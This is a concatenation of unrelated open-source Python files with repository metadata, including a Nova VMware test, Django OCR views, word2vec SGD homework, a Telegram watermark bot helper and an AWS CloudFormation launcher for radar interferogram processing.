name|'FakeVirtAPI' op|')' newline|'\n' name|'self' op|'.' name|'network_info' op|'=' name|'utils' op|'.' name|'get_test_network_info' op|'(' op|')' newline|'\n' name|'self' op|'.' name|'node_name' op|'=' name|'self' op|'.' name|'conn' op|'.' name|'_nodename' newline|'\n' name|'image_ref' op|'=' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'image' op|'.' name|'fake' op|'.' name|'get_valid_image_id' op|'(' op|')' newline|'\n' name|'instance_values' op|'=' op|'{' nl|'\n' string|"'vm_state'" op|':' string|"'building'" op|',' nl|'\n' string|"'project_id'" op|':' string|"'fake'" op|',' nl|'\n' string|"'user_id'" op|':' string|"'fake'" op|',' nl|'\n' string|"'name'" op|':' string|"'1'" op|',' nl|'\n' string|"'kernel_id'" op|':' string|"'1'" op|',' nl|'\n' string|"'ramdisk_id'" op|':' string|"'1'" op|',' nl|'\n' string|"'mac_addresses'" op|':' op|'[' op|'{' string|"'address'" op|':' string|"'de:ad:be:ef:be:ef'" op|'}' op|']' op|',' nl|'\n' string|"'memory_mb'" op|':' number|'8192' op|',' nl|'\n' string|"'flavor'" op|':' name|'objects' op|'.' name|'Flavor' op|'(' name|'vcpus' op|'=' number|'4' op|',' name|'extra_specs' op|'=' op|'{' op|'}' op|')' op|',' nl|'\n' string|"'instance_type_id'" op|':' number|'0' op|',' nl|'\n' string|"'vcpus'" op|':' number|'4' op|',' nl|'\n' string|"'root_gb'" op|':' number|'80' op|',' nl|'\n' string|"'image_ref'" op|':' name|'image_ref' op|',' nl|'\n' string|"'host'" op|':' string|"'fake_host'" op|',' nl|'\n' string|"'task_state'" op|':' string|"'scheduling'" op|',' nl|'\n' string|"'reservation_id'" op|':' string|"'r-3t8muvr0'" op|',' nl|'\n' string|"'id'" op|':' number|'1' op|',' nl|'\n' string|"'uuid'" op|':' name|'uuidsentinel' op|'.' name|'foo' op|',' nl|'\n' string|"'node'" op|':' name|'self' op|'.' name|'node_name' op|',' nl|'\n' string|"'metadata'" op|':' op|'[' op|']' op|',' nl|'\n' string|"'expected_attrs'" op|':' op|'[' string|"'system_metadata'" op|']' op|',' nl|'\n' op|'}' newline|'\n' name|'self' op|'.' name|'test_instance' op|'=' name|'fake_instance' op|'.' name|'fake_instance_obj' op|'(' name|'self' op|'.' name|'context' op|',' nl|'\n' op|'**' name|'instance_values' op|')' newline|'\n' name|'self' op|'.' name|'test_instance' op|'.' name|'flavor' op|'=' name|'objects' op|'.' name|'Flavor' op|'(' name|'vcpus' op|'=' number|'4' op|',' name|'memory_mb' op|'=' number|'8192' op|',' nl|'\n' name|'ephemeral_gb' op|'=' number|'0' op|',' name|'swap' op|'=' number|'0' op|',' nl|'\n' name|'extra_specs' op|'=' op|'{' op|'}' op|')' newline|'\n' nl|'\n' op|'(' name|'image_service' op|',' name|'image_id' op|')' op|'=' name|'glance' op|'.' name|'get_remote_image_service' op|'(' name|'context' op|',' nl|'\n' name|'image_ref' op|')' newline|'\n' name|'metadata' op|'=' name|'image_service' op|'.' name|'show' op|'(' name|'context' op|',' name|'image_id' op|')' newline|'\n' name|'self' op|'.' name|'image' op|'=' name|'objects' op|'.' name|'ImageMeta' op|'.' name|'from_dict' op|'(' op|'{' nl|'\n' string|"'id'" op|':' name|'image_ref' op|',' nl|'\n' string|"'disk_format'" op|':' string|"'vmdk'" op|',' nl|'\n' string|"'size'" op|':' name|'int' op|'(' name|'metadata' op|'[' string|"'size'" op|']' op|')' op|',' nl|'\n' op|'}' op|')' newline|'\n' nl|'\n' DECL|class|FakeInstanceMetadata name|'class' name|'FakeInstanceMetadata' op|'(' name|'object' op|')' op|':' newline|'\n' DECL|member|__init__ indent|' ' name|'def' name|'__init__' op|'(' name|'self' op|',' name|'instance' op|',' name|'content' op|'=' name|'None' op|',' name|'extra_md' op|'=' name|'None' op|',' nl|'\n' name|'network_info' op|'=' name|'None' op|')' op|':' newline|'\n' indent|' ' name|'pass' newline|'\n' nl|'\n' DECL|member|metadata_for_config_drive dedent|'' name|'def' name|'metadata_for_config_drive' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'return' op|'[' op|']' newline|'\n' nl|'\n' dedent|'' dedent|'' name|'self' op|'.' name|'useFixture' op|'(' name|'fixtures' op|'.' name|'MonkeyPatch' op|'(' nl|'\n' string|"'nova.api.metadata.base.InstanceMetadata'" op|',' nl|'\n' name|'FakeInstanceMetadata' op|')' op|')' newline|'\n' nl|'\n' DECL|function|fake_make_drive name|'def' name|'fake_make_drive' op|'(' name|'_self' op|',' name|'_path' op|')' op|':' newline|'\n' indent|' ' name|'pass' newline|'\n' comment|"# We can't actually make a config drive v2 because ensure_tree has" nl|'\n' comment|'# been faked out' nl|'\n' dedent|'' name|'self' op|'.' name|'stub_out' op|'(' string|"'nova.virt.configdrive.ConfigDriveBuilder.make_drive'" op|',' nl|'\n' name|'fake_make_drive' op|')' newline|'\n' nl|'\n' DECL|function|fake_upload_iso_to_datastore name|'def' name|'fake_upload_iso_to_datastore' op|'(' name|'iso_path' op|',' name|'instance' op|',' op|'**' name|'kwargs' op|')' op|':' newline|'\n' indent|' ' name|'pass' newline|'\n' dedent|'' name|'self' op|'.' name|'stub_out' op|'(' string|"'nova.virt.vmwareapi.images.upload_iso_to_datastore'" op|',' nl|'\n' name|'fake_upload_iso_to_datastore' op|')' newline|'\n' nl|'\n' DECL|member|tearDown dedent|'' name|'def' name|'tearDown' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'super' op|'(' name|'ConfigDriveTestCase' op|',' name|'self' op|')' op|'.' name|'tearDown' op|'(' op|')' newline|'\n' name|'vmwareapi_fake' op|'.' name|'cleanup' op|'(' op|')' newline|'\n' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'image' op|'.' name|'fake' op|'.' name|'FakeImageService_reset' op|'(' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'.' name|'object' op|'(' name|'vmops' op|'.' name|'VMwareVMOps' op|',' string|"'_get_instance_metadata'" op|',' nl|'\n' name|'return_value' op|'=' string|"'fake_metadata'" op|')' newline|'\n' DECL|member|_spawn_vm name|'def' name|'_spawn_vm' op|'(' name|'self' op|',' name|'fake_get_instance_meta' op|',' nl|'\n' name|'injected_files' op|'=' name|'None' op|',' name|'admin_password' op|'=' name|'None' op|',' nl|'\n' name|'block_device_info' op|'=' name|'None' op|')' op|':' newline|'\n' nl|'\n' indent|' ' name|'injected_files' op|'=' name|'injected_files' name|'or' op|'[' op|']' newline|'\n' name|'self' op|'.' name|'conn' op|'.' name|'spawn' op|'(' name|'self' op|'.' name|'context' op|',' name|'self' op|'.' name|'test_instance' op|',' name|'self' op|'.' name|'image' op|',' nl|'\n' name|'injected_files' op|'=' name|'injected_files' op|',' nl|'\n' name|'admin_password' op|'=' name|'admin_password' op|',' nl|'\n' name|'network_info' op|'=' name|'self' op|'.' name|'network_info' op|',' nl|'\n' name|'block_device_info' op|'=' name|'block_device_info' op|')' newline|'\n' nl|'\n' DECL|member|test_create_vm_with_config_drive_verify_method_invocation dedent|'' name|'def' name|'test_create_vm_with_config_drive_verify_method_invocation' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'test_instance' op|'.' name|'config_drive' op|'=' string|"'True'" newline|'\n' name|'self' op|'.' name|'mox' op|'.' name|'StubOutWithMock' op|'(' name|'vmops' op|'.' name|'VMwareVMOps' op|',' string|"'_create_config_drive'" op|')' newline|'\n' name|'self' op|'.' name|'mox' op|'.' name|'StubOutWithMock' op|'(' name|'vmops' op|'.' name|'VMwareVMOps' op|',' string|"'_attach_cdrom_to_vm'" op|')' newline|'\n' name|'self' op|'.' name|'conn' op|'.' name|'_vmops' op|'.' name|'_create_config_drive' op|'(' name|'self' op|'.' name|'test_instance' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' nl|'\n' op|')' op|'.' name|'AndReturn' op|'(' string|"'[ds1] fake.iso'" op|')' newline|'\n' name|'self' op|'.' name|'conn' op|'.' name|'_vmops' op|'.' name|'_attach_cdrom_to_vm' op|'(' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|',' nl|'\n' name|'mox' op|'.' name|'IgnoreArg' op|'(' op|')' op|')' newline|'\n' name|'self' op|'.' name|'mox' op|'.' name|'ReplayAll' op|'(' op|')' newline|'\n' comment|'# if spawn does not call the _create_config_drive or' nl|'\n' comment|'# _attach_cdrom_to_vm call with the correct set of parameters' nl|'\n' comment|"# then mox's VerifyAll will throw a Expected methods never called" nl|'\n' comment|'# Exception' nl|'\n' name|'self' op|'.' name|'_spawn_vm' op|'(' op|')' newline|'\n' nl|'\n' DECL|member|test_create_vm_without_config_drive dedent|'' name|'def' name|'test_create_vm_without_config_drive' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'test_instance' op|'.' name|'config_drive' op|'=' name|'None' newline|'\n' name|'self' op|'.' name|'mox' op|'.' name|'StubOutWithMock' op|'(' name|'vmops' op|'.' name|'VMwareVMOps' op|',' string|"'_create_config_drive'" op|')' newline|'\n' name|'self' op|'.' name|'mox' op|'.' name|'StubOutWithMock' op|'(' name|'vmops' op|'.' name|'VMwareVMOps' op|',' string|"'_attach_cdrom_to_vm'" op|')' newline|'\n' name|'self' op|'.' name|'mox' op|'.' name|'ReplayAll' op|'(' op|')' newline|'\n' comment|'# if spawn ends up calling _create_config_drive or' nl|'\n' comment|'# _attach_cdrom_to_vm then mox will log a Unexpected method call' nl|'\n' comment|'# exception' nl|'\n' name|'self' op|'.' name|'_spawn_vm' op|'(' op|')' newline|'\n' nl|'\n' DECL|member|test_create_vm_with_config_drive dedent|'' name|'def' name|'test_create_vm_with_config_drive' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'test_instance' op|'.' name|'config_drive' op|'=' string|"'True'" newline|'\n' name|'self' op|'.' name|'_spawn_vm' op|'(' op|')' newline|'\n' dedent|'' dedent|'' endmarker|'' end_unit

[ "dmg@uvic.ca" ]

dmg@uvic.ca

a87f1b16a0c24b911ed48b462eb0144df949a491

92796ecf76e64796b4d265df281bf27b4206f1b8

/wechat/wechat/asgi.py

d603532362615412bd68c8353200c60bcc0a8d45

[]

no_license

singhsagar27/Wechat---Real-Time-Chat-App

e4ee1d81f2c0d9cd83154609fcf2506c7f2b0655

6e74354daa76b2527ed070a84a36434e5e264069

refs/heads/main

2023-03-20T19:02:13.763649

2021-03-19T14:33:32

348,711,365

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null

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Python

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549

py

import os from django.core.asgi import get_asgi_application from channels.routing import ProtocolTypeRouter, URLRouter from channels.auth import AuthMiddlewareStack import chat.routing os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'wechat.settings') application = get_asgi_application() application = ProtocolTypeRouter({ "http": get_asgi_application(), "websocket": AuthMiddlewareStack( URLRouter( chat.routing.websocket_urlpatterns ) ), # Just HTTP for now. (We can add other protocols later.) })

[ "47419028+theambrosial@users.noreply.github.com" ]

47419028+theambrosial@users.noreply.github.com

83b81627d484d881a90f8b4ff4ac32c922a54f53

6ebffea0be90da76503a95b029d4a6a07204229e

/data/datamodule.py

d2d7aa6a8a5dbb72df301df3d32e7e0c46f6988f

[]

no_license

Huizerd/bnns

7853a647ba1b592f42c8c9fd0fbe31108d41fd12

9e13cfdf25d3050ab23692dbca47446c8b9dbd90

refs/heads/master

2023-06-24T12:33:52.086644

2021-06-25T11:44:05

371,048,303

1

0

null

2021-06-21T11:20:52

2021-05-26T13:42:32

VHDL

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Python

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py

from pl_bolts.datasets.mnist_dataset import BinaryMNIST from pl_bolts.datamodules.mnist_datamodule import MNISTDataModule class BinaryMNISTDataModule(MNISTDataModule): name = "binarymnist" dataset_cls = BinaryMNIST # has 0.5 as threshold for making binary

[ "15855769+Huizerd@users.noreply.github.com" ]

15855769+Huizerd@users.noreply.github.com

68a6ad72b6ba110b69031ee89e2ee46750bbdae1

74be41563cba82ec784aed3c893a53261a428ab1

/myapp/ocr_api/views.py

db6910d7ae1c32dea6bf6323e19f1305a4a8f71f

[]

no_license

Bakushin10/Django

e06ad485084d917886a50e5f3c38f8b049c85fb1

184db43f58e4679c2a556f9603f5e3bec61da1eb

refs/heads/master

2022-12-12T13:34:24.391273

2019-11-05T14:33:29

202,837,195

0

null

2022-12-08T06:53:31

2019-08-17T04:55:27

Python

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Python

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5,626

py

import os, sys, json from PIL import Image, ImageDraw2 from django.shortcuts import render from django.shortcuts import render, HttpResponseRedirect from django.http import HttpResponse, JsonResponse from ocr_api.models import OCRInputModel, JsonOCRInputModel from ocr_api.serializers import OCRInputModelSerializer, JsonOCRInputModelSerializer from django.views.decorators.csrf import csrf_exempt @csrf_exempt def post_dummy_data(request): """ basic API call for a POST method it will post dummy data based on the OCRInputModel defined ocr_api.models """ if request.method == "POST": data = {"ocrJson" : "Two"} serializer = OCRInputModelSerializer(data = data) if serializer.is_valid(raise_exception = True): data_saved = serializer.save() return HttpResponse("success: {} was created".format(data)) @csrf_exempt def post_ocr_results(request): """ **** Please dont call this API if data is alrady stored at endpoint **** demo API POST call for OCR result. read a Json from a local file and post it to endpoint. """ if request.method == "POST": response = readJson() print("{} {} {}".format("*"*10, "tatal amount of data : ", len(response["response"]))) print("{} {}".format("*"*10, request)) for json_data in response["response"]: # print(json_data) x , y = [], [] for coordinate in json_data["coordinates"]: x.append(coordinate["y"]) y.append(coordinate["x"]) data = { "field" : str(json_data["field"]), "hasField" : json_data["hasField"], "coordinates" : str(json_data["coordinates"]), "x_coordinates" : str(x), "y_coordinates" : str(y), "text" : json_data["text"] } serializer = JsonOCRInputModelSerializer(data = data) if serializer.is_valid(raise_exception = True): data_saved = serializer.save() return HttpResponse("{} {} {}".format("All ", len(response["response"]), " data posted!")) @csrf_exempt def get_ocr_results(request): """ retrieve fake OCR data from an endpoint """ data = JsonOCRInputModel.objects.all() if request.method == "GET": serializer = JsonOCRInputModelSerializer(data, many = True) dataToDisplay = getDataToDisplay(serializer.data) return JsonResponse(dataToDisplay, safe = False) @csrf_exempt def get_ocr_results_by_id(request, username): """ retrieve fake OCR data by id """ if request.method != "GET": return HttpResponse("GET request only") data = JsonOCRInputModel.objects.filter(field=username) if len(data) == 0: return HttpResponse("no data found") return HttpResponse(data.values()) @csrf_exempt def get_ocred_image(request): """ retrieve fake OCR data from an endpoint """ data = JsonOCRInputModel.objects.all() SUCCESS_MESSAGE = {"image successfully ocred": "OK"} ERROR_MESSAGE = {"image could not be ocred": "ERROR"} if request.method == "GET": serializer = JsonOCRInputModelSerializer(data, many = True) imagePath = "ocr_api/img/" imageName = "sample.jpg" try: drawLinesOnImages(imagePath, imageName, serializer.data) except: return JsonResponse(ERROR_MESSAGE, safe = False) return JsonResponse(SUCCESS_MESSAGE, safe = False) @csrf_exempt def get_dummy_data(request): """ basic API call for a GET method """ data = OCRInputModel.objects.all() if request.method == "GET": serializer = OCRInputModelSerializer(data, many=True) dataToDisplay = getDataToDisplay(serializer.data) return JsonResponse(dataToDisplay, safe=False) def readJson(): """ read JSON data from local file """ #path = "ocr_api/json/test.json" path = "ocr_api/json/ocrReturnValues.json" #return "" with open(os.path.join(sys.path[0], path)) as f: data = json.load(f) print("{} {}".format("*"*10, data["response"])) return data def getDataToDisplay(data): """ add "total amount amount of data" for readability purposes """ return ["total amount data : " + str(len(data))] + data def drawLinesOnImages(imagePath, imageName, data): detectTextOnImage(imagePath, imageName, data) # detectTextBoxOnImage(imagePath) def detectTextOnImage(imagePath,imageName, data): """ draw line to the image based on the x and y coordinates from JSON """ im = Image.open(imagePath + imageName) d = ImageDraw2.Draw(im) pen = ImageDraw2.Pen(color="red") for j in data: x = j["x_coordinates"].replace("[","").replace("]","").split(",") y = j["y_coordinates"].replace("[","").replace("]","").split(",") #LB, LT, RT, RB = (c[0]["x"], c[0]["y"]), (c[1]["x"], c[1]["y"]), (c[2]["x"], c[2]["y"]), (c[3]["x"], c[3]["y"]) LB, LT, RT, RB = (int(y[0]), int(x[0])), (int(y[1]), int(x[1])), (int(y[2]), int(x[2])), (int(y[3]), int(x[3])) d.line([LB, LT, RT, RB, LB], pen) #red line im.save(imagePath + "ocred_" + imageName) print("image saved") def detectTextBoxOnImage(): """ detect the textbox on a policy """ pass

[ "shnnagai@gmail.com" ]

shnnagai@gmail.com

b1f831dc5b99ada2504bfeae16902b81d431db0e

ca7aa979e7059467e158830b76673f5b77a0f5a3

/Python_codes/p03470/s172972650.py

57f94dcf85afe314754def063304ba328d8d9803

[]

no_license

Aasthaengg/IBMdataset

7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901

f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8

refs/heads/main

2023-04-22T10:22:44.763102

2021-05-13T17:27:22

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py

N = int(input()) d = sorted([int(input()) for i in range(N)]) ans = 1 for i in range(N-1): if d[i] < d[i+1]: ans += 1 print(ans)

[ "66529651+Aastha2104@users.noreply.github.com" ]

66529651+Aastha2104@users.noreply.github.com

8b52b027b34e1dcf92be1fa08afa21d1099e7062

3dae023e2da2117755a6caa6476e0279a3f3573b

/q3_sgd.py

1bba51c77ebf3bb9cdc61e548b5e18e85d63395a

[]

no_license

saifkheraj/Word2Vec-CS224D

86f222e3daf7dffb193ee168944cb25c847ba794

115855d218aa86cb4503ad57ebe71c1db0e394ab

refs/heads/master

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# Save parameters every a few SGD iterations as fail-safe SAVE_PARAMS_EVERY = 1000 import glob import random import numpy as np import os.path as op import cPickle as pickle def load_saved_params(): """ A helper function that loads previously saved parameters and resets iteration start """ st = 0 for f in glob.glob("saved_params_*.npy"): iter = int(op.splitext(op.basename(f))[0].split("_")[2]) if (iter > st): st = iter if st > 0: with open("saved_params_%d.npy" % st, "r") as f: params = pickle.load(f) state = pickle.load(f) return st, params, state else: return st, None, None def save_params(iter, params): with open("saved_params_%d.npy" % iter, "w") as f: pickle.dump(params, f) pickle.dump(random.getstate(), f) def sgd(f, x0, step, iterations, postprocessing = None, useSaved = False, PRINT_EVERY=10): """ Stochastic Gradient Descent """ # Implement the stochastic gradient descent method in this # function. # Inputs: # - f: the function to optimize, it should take a single # argument and yield two outputs, a cost and the gradient # with respect to the arguments # - x0: the initial point to start SGD from # - step: the step size for SGD # - iterations: total iterations to run SGD for # - postprocessing: postprocessing function for the parameters # if necessary. In the case of word2vec we will need to # normalize the word vectors to have unit length. # - PRINT_EVERY: specifies every how many iterations to output # Output: # - x: the parameter value after SGD finishes # Anneal learning rate every several iterations ANNEAL_EVERY = 20000 if useSaved: start_iter, oldx, state = load_saved_params() if start_iter > 0: x0 = oldx; step *= 0.5 ** (start_iter / ANNEAL_EVERY) if state: random.setstate(state) else: start_iter = 0 x = x0 if not postprocessing: postprocessing = lambda x: x expcost = None for iter in xrange(start_iter + 1, iterations + 1): ### Don't forget to apply the postprocessing after every iteration! ### You might want to print the progress every few iterations. ### YOUR CODE HERE cost,derivative=f(x) x=x-(step*derivative) x=postprocessing(x) ### END YOUR CODE if iter % PRINT_EVERY == 0: if not expcost: expcost = cost else: expcost = .95 * expcost + .05 * cost print "iter %d: %f" % (iter, expcost) if iter % SAVE_PARAMS_EVERY == 0 and useSaved: save_params(iter, x) if iter % ANNEAL_EVERY == 0: step *= 0.5 return x def sanity_check(): quad = lambda x: (np.sum(x ** 2), x * 2) print "Running sanity checks..." t1 = sgd(quad, 0.5, 0.01, 1000, PRINT_EVERY=100) print "test 1 result:", t1 assert abs(t1) <= 1e-6 t2 = sgd(quad, 0.0, 0.01, 1000, PRINT_EVERY=100) print "test 2 result:", t2 assert abs(t2) <= 1e-6 t3 = sgd(quad, -1.5, 0.01, 1000, PRINT_EVERY=100) print "test 3 result:", t3 assert abs(t3) <= 1e-6 print "" def your_sanity_checks(): """ Use this space add any additional sanity checks by running: python q3_sgd.py This function will not be called by the autograder, nor will your additional tests be graded. """ print "Running your sanity checks..." ### YOUR CODE HERE #raise NotImplementedError ### END YOUR CODE if __name__ == "__main__": sanity_check(); your_sanity_checks();

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#!/home/ubuntu/workspace/DataSc/env/bin/python3 # -*- coding: utf-8 -*- import re import sys from notebook.nbextensions import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())

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# (c) @hbhammaddyar # This is Telegram Video Watermark Adder Bot's Source Code. # I Hardly Made This. So Don't Forget to Give Me Credits. # Done this Huge Task for Free. If you guys not support me, # I will stop making such things! # Edit anything at your own risk! # Don't forget to help me if I done any mistake in the codes. # Support Group: @kdramashindi # Bots Channel: @hbhammaddyar0 import os import math import re import json import subprocess import time import shlex import asyncio from configs import Config from typing import Tuple from humanfriendly import format_timespan from core.display_progress import TimeFormatter from pyrogram.errors.exceptions.flood_420 import FloodWait async def vidmark(the_media, message, working_dir, watermark_path, output_vid, total_time, logs_msg, status, mode, position, size): file_genertor_command = [ "ffmpeg", "-hide_banner", "-loglevel", "quiet", "-progress", working_dir, "-i", the_media, "-i", watermark_path, "-filter_complex", f"[1][0]scale2ref=w='iw*{size}/100':h='ow/mdar'[wm][vid];[vid][wm]overlay={position}", "-c:v", "h264", "-preset", mode, "-tune", "film", "-c:a", "copy", output_vid ] COMPRESSION_START_TIME = time.time() process = await asyncio.create_subprocess_exec( *file_genertor_command, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) with open(status, 'r+') as f: statusMsg = json.load(f) statusMsg['pid'] = process.pid f.seek(0) json.dump(statusMsg, f, indent=2) while process.returncode != 0: await asyncio.sleep(5) with open(working_dir, 'r+') as file: text = file.read() frame = re.findall("frame=(\d+)", text) time_in_us=re.findall("out_time_ms=(\d+)", text) progress=re.findall("progress=(\w+)", text) speed=re.findall("speed=(\d+\.?\d*)", text) if len(frame): frame = int(frame[-1]) else: frame = 1; if len(speed): speed = speed[-1] else: speed = 1; if len(time_in_us): time_in_us = time_in_us[-1] else: time_in_us = 1; if len(progress): if progress[-1] == "end": break execution_time = TimeFormatter((time.time() - COMPRESSION_START_TIME)*1000) elapsed_time = int(time_in_us)/1000000 difference = math.floor( (total_time - elapsed_time) / float(speed) ) ETA = "-" if difference > 0: ETA = TimeFormatter(difference*1000) percentage = math.floor(elapsed_time * 100 / total_time) progress_str = "📊 **Progress:** {0}%\n`[{1}{2}]`".format( round(percentage, 2), ''.join(["▓" for i in range(math.floor(percentage / 10))]), ''.join(["░" for i in range(10 - math.floor(percentage / 10))]) ) stats = f'📦️ **Adding Watermark [Preset: `{mode}`]**\n\n' \ f'⏰️ **ETA:** `{ETA}`\n❇️ **Position:** `{position}`\n🔰 **PID:** `{process.pid}`\n🔄 **Duration: `{format_timespan(total_time)}`**\n\n' \ f'{progress_str}\n' try: await logs_msg.edit(text=stats) await message.edit(text=stats) except FloodWait as e: await asyncio.sleep(e.x) pass except: pass stdout, stderr = await process.communicate() e_response = stderr.decode().strip() t_response = stdout.decode().strip() print(e_response) print(t_response) if os.path.lexists(output_vid): return output_vid else: return None async def take_screen_shot(video_file, output_directory, ttl): # https://stackoverflow.com/a/13891070/4723940 out_put_file_name = output_directory + \ "/" + str(time.time()) + ".jpg" file_genertor_command = [ "ffmpeg", "-ss", str(ttl), "-i", video_file, "-vframes", "1", out_put_file_name ] # width = "90" process = await asyncio.create_subprocess_exec( *file_genertor_command, # stdout must a pipe to be accessible as process.stdout stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) # Wait for the subprocess to finish stdout, stderr = await process.communicate() e_response = stderr.decode().strip() t_response = stdout.decode().strip() if os.path.lexists(out_put_file_name): return out_put_file_name else: return None

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#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ EXPERIMENTING WITH NEW CLOUD FORMATION SETTINGS - send email when process begins and completes - run interferogram using spot market Note: intended for single interferogram processing. For batch processing figure out how to store common data and DEM on an EFS drive # EXAMPLE: proc_ifg_cfn.py -i c4.4xlarge -p 115 -m 20170927 -s 20170915 -n 2 -r 44.0 44.5 -122.0 -121.5 -g 44.0 44.5 -122.0 -121.5 c4.4xlarge # Archived Files: *xml *log #filt_topophase.unw* filt_topophase.flat* dem.crop* los.rdr.geo* phsig.cor.geo* # For now just stash entire meged directory Created on Sun Nov 19 16:26:27 2017 @author: scott """ import argparse import os def cmdLineParse(): ''' Command line parser. ''' parser = argparse.ArgumentParser( description='prepare ISCE 2.1 topsApp.py') parser.add_argument('-m', type=str, dest='master', required=True, help='Master date') parser.add_argument('-s', type=str, dest='slave', required=True, help='Slave date') parser.add_argument('-p', type=int, dest='path', required=True, help='Path/Track/RelativeOrbit Number') parser.add_argument('-i', type=str, dest='instance', required=False, default='t2.micro', help='EC2 instance type (c4.4xlarge, t2.micro...)') parser.add_argument('-n', type=int, nargs='+', dest='swaths', required=False, default=[1,2,3], choices=(1,2,3), help='Subswath numbers to process') parser.add_argument('-r', type=float, nargs=4, dest='roi', required=False, metavar=('S','N','W','E'), help='Region of interest bbox [S,N,W,E]') parser.add_argument('-g', type=float, nargs=4, dest='gbox', required=False, metavar=('S','N','W','E'), help='Geocode bbox [S,N,W,E]') return parser.parse_args() def create_cloudformation_script(inps): ''' Write YML file to process and interferogram based on user input NOTE: could probably do this better w/ JSON tools... ''' filename = 'proc-{master}-{slave}.yml'.format(**vars(inps)) with open(filename, 'w') as yml: yml.write('''AWSTemplateFormatVersion: "2010-09-09" Description: "CloudFormation template to create interferogram: int-{master}-{slave}" Resources: MyEC2Instance: Type: "AWS::EC2::Instance" Properties: ImageId: "ami-8deb36f5" InstanceType: "{instance}" KeyName: "isce-key" SecurityGroups: ["isce-sg",] BlockDeviceMappings: - DeviceName: /dev/sda1 Ebs: VolumeType: gp2 VolumeSize: 8 DeleteOnTermination: true - DeviceName: /dev/xvdf Ebs: VolumeType: gp2 VolumeSize: 100 DeleteOnTermination: true UserData: 'Fn::Base64': !Sub | #!/bin/bash # add -xe to above line for debugging output to /var/log/cloud-init-output.log # create mount point directory NOTE all commands run as root #mkdir /mnt/data # create ext4 filesystem on new volume mkfs -t ext4 /dev/xvdf # add an entry to fstab to mount volume during boot echo "/dev/xvdf /mnt/data ext4 defaults,nofail 0 2" >> /etc/fstab # mount the volume on current boot mount -a chown -R ubuntu /mnt/data sudo -i -u ubuntu bash <<"EOF" export PATH="/home/ubuntu/miniconda3/envs/isce-2.1.0/bin:/home/ubuntu/.local/bin:$PATH" export GDAL_DATA=/home/ubuntu/miniconda3/envs/isce-2.1.0/share/gdal source /home/ubuntu/ISCECONFIG # Make directories for processing - already in AMI cd /mnt/data mkdir dems poeorb auxcal # Get the latest python scripts from github & add to path git clone https://github.com/scottyhq/dinoSAR.git export PATH=/mnt/data/dinoSAR/bin:$PATH echo $PATH # Download inventory file get_inventory_asf.py -r {roi} # Prepare interferogram directory prep_topsApp.py -i query.geojson -p {path} -m {master} -s {slave} -n {swaths} -r {roi} -g {gbox} # Run code cd int-{master}-{slave} topsApp.py 2>&1 | tee topsApp.log # Create S3 bucket and save results aws s3 mb s3://int-{master}-{slave} cp *xml *log merged aws s3 sync merged/ s3://int-{master}-{slave}/ # Close instance EOF echo "Finished interferogram... shutting down" #shutdown #doesn't close entire stack aws cloudformation delete-stack --stack-name proc-{master}-{slave} '''.format(**vars(inps))) return filename def launch_stack(template): ''' launch AWS CloudFormationStack ''' name = template[:-4] cmd = 'aws cloudformation create-stack --stack-name {0} --template-body file://{1}'.format(name,template) print(cmd) os.system(cmd) if __name__ == '__main__': inps = cmdLineParse() inps.roi = ' '.join([str(x) for x in inps.roi]) inps.gbox = ' '.join([str(x) for x in inps.gbox]) inps.swaths = ' '.join([str(x) for x in inps.swaths]) template = create_cloudformation_script(inps) print('Running Interferogram on EC2') launch_stack(template) print('EC2 should close automatically when finished...')

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def simple(a): maxi = 0 for i in range(1,5): for j in range(1,5): insum = a[i-1][j-1]+a[i-1][j]+a[i-1][j+1]+a[i][j]+a[i+1][j-1]+a[i+1][j]+a[i+1][j+1] if insum > maxi: maxi = insum return maxi if __name__ == '__main__': a = [ [1, 1, 1, 0, 0, 0], [0, 1, 0, 0, 0, 0], [1, 1, 1, 0, 0, 0], [0, 0, 2, 4, 4, 0], [0, 0, 0, 2, 0, 0], [0, 0, 1, 2, 4, 0], ] print(simple(a))

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#!/Users/trizzy/Desktop/wdi/exercises/week-8/flask-intro/.env/bin/python3.7 # -*- coding: utf-8 -*- import re import sys from pip._internal import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())

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# ____ a__.s... ______ S.. # ____ c_a.. ______ AC.. # # # c_ SecurityArmCommand AC.. # ___ - security # __ no. isi.. ? S.. # r_ T.. # ? ? # # ___ execute # s____.a.. # # ___ undo( # s___.di.. # # # c_ SecurityDisarmCommand(AbsCommand): # ___ - security # __ no. isi.. ? S.. # r_ T.. # ? ? # # ___ execute # s___.di.. # # ___ undo # s___.a..

